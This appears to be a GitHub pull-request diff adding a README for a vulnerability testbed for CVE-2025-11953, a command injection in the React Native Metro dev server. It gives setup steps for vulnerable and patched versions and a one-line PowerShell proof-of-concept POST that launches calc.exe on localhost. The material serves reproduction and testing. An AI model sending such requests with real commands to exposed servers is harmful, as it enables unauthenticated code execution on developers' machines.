Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 44 additions & 0 deletions react-native/CVE-2025-11953/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
# CVE-2025-11953

The Metro Development Server, which is opened by the React Native Community CLI, binds to external interfaces by default. The server exposes an endpoint that is vulnerable to OS command injection. This allows unauthenticated network attackers to send a POST request to the server and run arbitrary executables. On Windows, the attackers can also execute arbitrary shell commands with fully controlled arguments.

## Deployment

For this vulnerability to be exploited, the testbed must be deployed on Windows. Below are the steps required to prepare both the vulnerable and the safe versions:

Set up Node.js and npm beforehand: <https://docs.npmjs.com/downloading-and-installing-node-js-and-npm>

As a reference, the issue was reproduced on `npm v11.6.3` and `node v24.11.1`, though these versions are not strict requirements for reproducing the vulnerability.

### Vulnerable version

```sh
npx @react-native-community/[email protected] init cve_2025_11953_vulnerable
cd cve_2025_11953_vulnerable
npm install @react-native-community/[email protected]
npm install [email protected]
npm list open
npx @react-native-community/[email protected] start
```

### Safe version

```sh
npx @react-native-community/[email protected] init cve_2025_11953_fixed
cd cve_2025_11953_fixed
npx @react-native-community/[email protected] start
```

## Testing the vulnerability

Run the following PowerShell command to validate the vulnerability. On vulnerable instances, this will result in a `calc.exe` process being spawned.

```powershell
Invoke-WebRequest -Uri http://localhost:8081/open-url -Method POST -ContentType "application/json" -Body '{"url":"calc.exe"}'
```

## References

- <https://nvd.nist.gov/vuln/detail/CVE-2025-11953>
- <https://jfrog.com/blog/cve-2025-11953-critical-react-native-community-cli-vulnerability>
- <https://github.com/sindresorhus/open/blob/v6.2.0/index.js>